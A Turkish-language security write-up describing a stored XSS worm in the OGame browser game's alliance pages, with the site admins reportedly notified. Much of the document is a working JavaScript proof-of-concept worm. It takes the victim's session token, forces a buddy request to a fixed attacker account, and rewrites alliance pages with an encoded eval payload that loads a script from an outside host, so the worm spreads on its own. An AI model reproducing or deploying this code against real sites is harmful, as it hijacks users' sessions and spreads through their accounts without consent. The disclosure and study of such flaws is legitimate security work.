OGAME WEB 2.0 SOLUCANI

<siseci at enderunix.com, Necati Ersen Şişeci>
<urgunb at hotmail.com, Bedirhan Urgun>

OGame bir çesit uzay stratejisi simulasyonudur. Aynı anda binlerce oyuncu tarafından karsılıklı olarak oynanır. Oynayabilmek için sadece normal bir internet gezgini gerekir.*

OGame'de oyuncular ittifak kurabilir, varolan ittifakları görebilir ve bunlara katılabilirler. İttifak ana sayfasında diğer kullanıcılar için açıklayıcı yazılar ve resimler yayınlanabilir. Bu yazıları ve resimleri ittifakı kuran oyuncu oluşturur ve yayınlar. İşte bu yazıları ve resimleri girmek için sağlanan arayüzde bulunan girdi denetimi yetersizliği kullanılarak, bir "depolanmış XSS" (stored XSS) saldırısı gerçekleştirilebilmektedir.

Not: OGame site yöneticileri bu açıklık ile ilgili olarak 2006 Aralık ayında ve daha sonrasında haberdar edilmişlerdir.

Bu yazıda, bulunan depolanmış XSS açıklığının detayları anlatılmayacaktır. Ancak en basit durumu ile bu açıklık kullanılarak, myspace web 2.0 solucanında [1] olduğu gibi, saldırganı saldırıya maruz kalan kullanıcılara arkadaş olarak ekletmek mümkündür.

Aşağıdaki saldırı dizgisi, çalışmayan kısımları değiştirilmiş Attack API 2.0 [2] kullanılarak yazılmıştır. Dizgiyi çok daha efektif hale getirmek ve her ne kadar saldırı dizgisi üçüncü parti bir sunucudan indiriliyor halde ise de, saldırıyı böyle bir bağımlılık oluşturmadan da yapmak mümkündür. Kısacası gösterilen bölümler bir konsept uygulamasıdır (PoC).

Bu yazı ile beraber basit bir saldırı demosu da buradan indirilebilir. Videoyu izlemek için WebEx Player gereklidir.[3]


OGAMEATTACK = {
  emailregex : /value="([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+/g,
  sessionregex : /\?session=[a-f0-9]+/g
};

OGAMEATTACK.getSessionToken = function(){
    matches = document.body.innerHTML.match(OGAMEATTACK.sessionregex);
    sessionid = matches[0].substr(1);
    //console.log("session id is retrieved: " + sessionid);
	return sessionid; 
}

OGAMEATTACK.addBuddy = function(){

  request = {
    onload : function(response){
      //if(response.status == 200)        
		//console.log("buddy add request is made");
    },
    method : 'POST',
    url : 'buddy.php?' + this.getSessionToken(),
	body : 'a=1&s=3&e=1&u=139283&text=merhaba'
  };	
  AttackAPI.dom.requestXML(request);
} 

OGAMEATTACK.addPayload = function(){
  request = {
    onload : function(response){
      //if(response.status == 200)        
			//console.log("payload add request is made");
    },
    method : 'POST',
    url : 'allianzen.php?' + this.getSessionToken() + '&a=11',
	body : 'text=' + OGAMEATTACK.originalallianzcontent + '%0D%0A[Removed]'+
								      '%3D%22eval%28unescape%28%27var%2520script%2520'+
								      '%253D%2520document.createElement%2528%2527scri'+
								      'pt%2527%2529%253B%250Ascript.src%2520%253D%25'+
								      '20%2527http%253A%252F%252Fyesyese.nononono.com'+
								      '%252Fcranium%252Fogamesmall.txt%2527%253B%250A'+
								      'script.type%2520%253D%2520%2527text%252Fjavasc'+
								      'ript%2527%253B%250Ascript.defer%2520%253D%2520'+
								      'true%253B%250Adocument.getElementsByTagName%25'+
								      '28%2527head%2527%2529%255B0%255D.appendChild%25'+
								      '28script%2529%253B%27%29%29%22[Removed]&t=1'
  };
  if(OGAMEATTACK.originalallianzcontent){
  	if(!OGAMEATTACK.originalallianzcontent.match(/ogamesmall/g))	
  		AttackAPI.dom.requestXML(request);
	//else
		//console.log("already infected alliance");
  }
	
} 

OGAMEATTACK.grabOriginalAllianzContent = function(){
	
	var ifr = document.createElement('iframe');
	ifr.style.visibility = 'hidden';
	ifr.style.width = ifr.style.height = 0;
	ifr.src = 'allianzen.php?' + this.getSessionToken() + '&a=5&t=1';
	ifr.onload = function(){
		var doc = AttackAPI.dom.getDocument(this);
		var allianzContent = doc.getElementsByName("text")[0];		
		if(allianzContent){
			//console.log("allianz content is grabbed: " + allianzContent.value);
			OGAMEATTACK.originalallianzcontent = allianzContent.value;
			OGAMEATTACK.addPayload(); 	
		}
		// remove the iframe here	
		document.body.removeChild(ifr);			
	}; 
	document.body.appendChild(ifr);
}

OGAMEATTACK.main = function(email){
  OGAMEATTACK.addBuddy();
  OGAMEATTACK.grabOriginalAllianzContent();
}

OGAMEATTACK.main();

Kurban kullanıcı, zehirlenmiş ittifak sayfasını tarayıcısında (örn: IE, FF) açıktıktan sonra gerçekleşen 3 adım aşağıda anlatılmıştır;

  1. İlk adımda saldırgan kendini kurbanın arkadaş listesine ekletir (Daha doğrusu kurban saldırgana bir arkadaşlık isteği gönderir). Bunu yapabilmek için dizginin once kurbanın oturum bilgisini alması gerekmektedir (OGame hassas oturum bilgisini URL'ler aracılığı ile tutmaktadır). Bunun için OGAMEATTACK.getSessionToken fonksiyonu kullanılır. OGAMEATTACK.addBuddy fonksiyonu ise bahsedilen adımı gerçekleştirir.
  2. İkinci adımda kurbanın (varsa) orjinal ittifak mesajı OGAMEATTACK.grabOriginalAllianzContent fonksiyonu ile alınır ve 3.adımı gerçekleştirmek için OGAMEATTACK.addPayload fonksiyonu çağrılır. İkinci adım kurbanın (eğer varsa) ittifak sayfasını görünmez bir iframe içinde açtığından, saldırı hızı oldukça düşmektedir. Bu durum düzeltilebilir.
  3. Üçüncü adımda ise (varsa) kurbanın ittifak sayfasına (orjinal mesajının hemen altına) saldırı dizgisi eklenir (solucanın yayılması). Burada kurbanın üye olduğu ittifak sayfasına yazma yetkisinin olması gerekmektedir. Ayrıca bu işlem esnasında saldırı dizgisinin daha önce eklenip eklenmediği kontrol edilir.
Sonuç

Girdi denetim yetersizliğinin bulunduğu arayüzdeki kısıtlamalar ve ittifak arayüzlerinin oluşturulma ve ziyaret edilme sıklıkları nedeniyle solucanın yayılma hızı yavaş olacaktır.

Son yıllarda çıkan javascript saldırı API'ları ile enjeksiyon saldırılarını gerçeklemek daha basit hale gelmiştir.

* www.ogame.com.tr

Referanslar: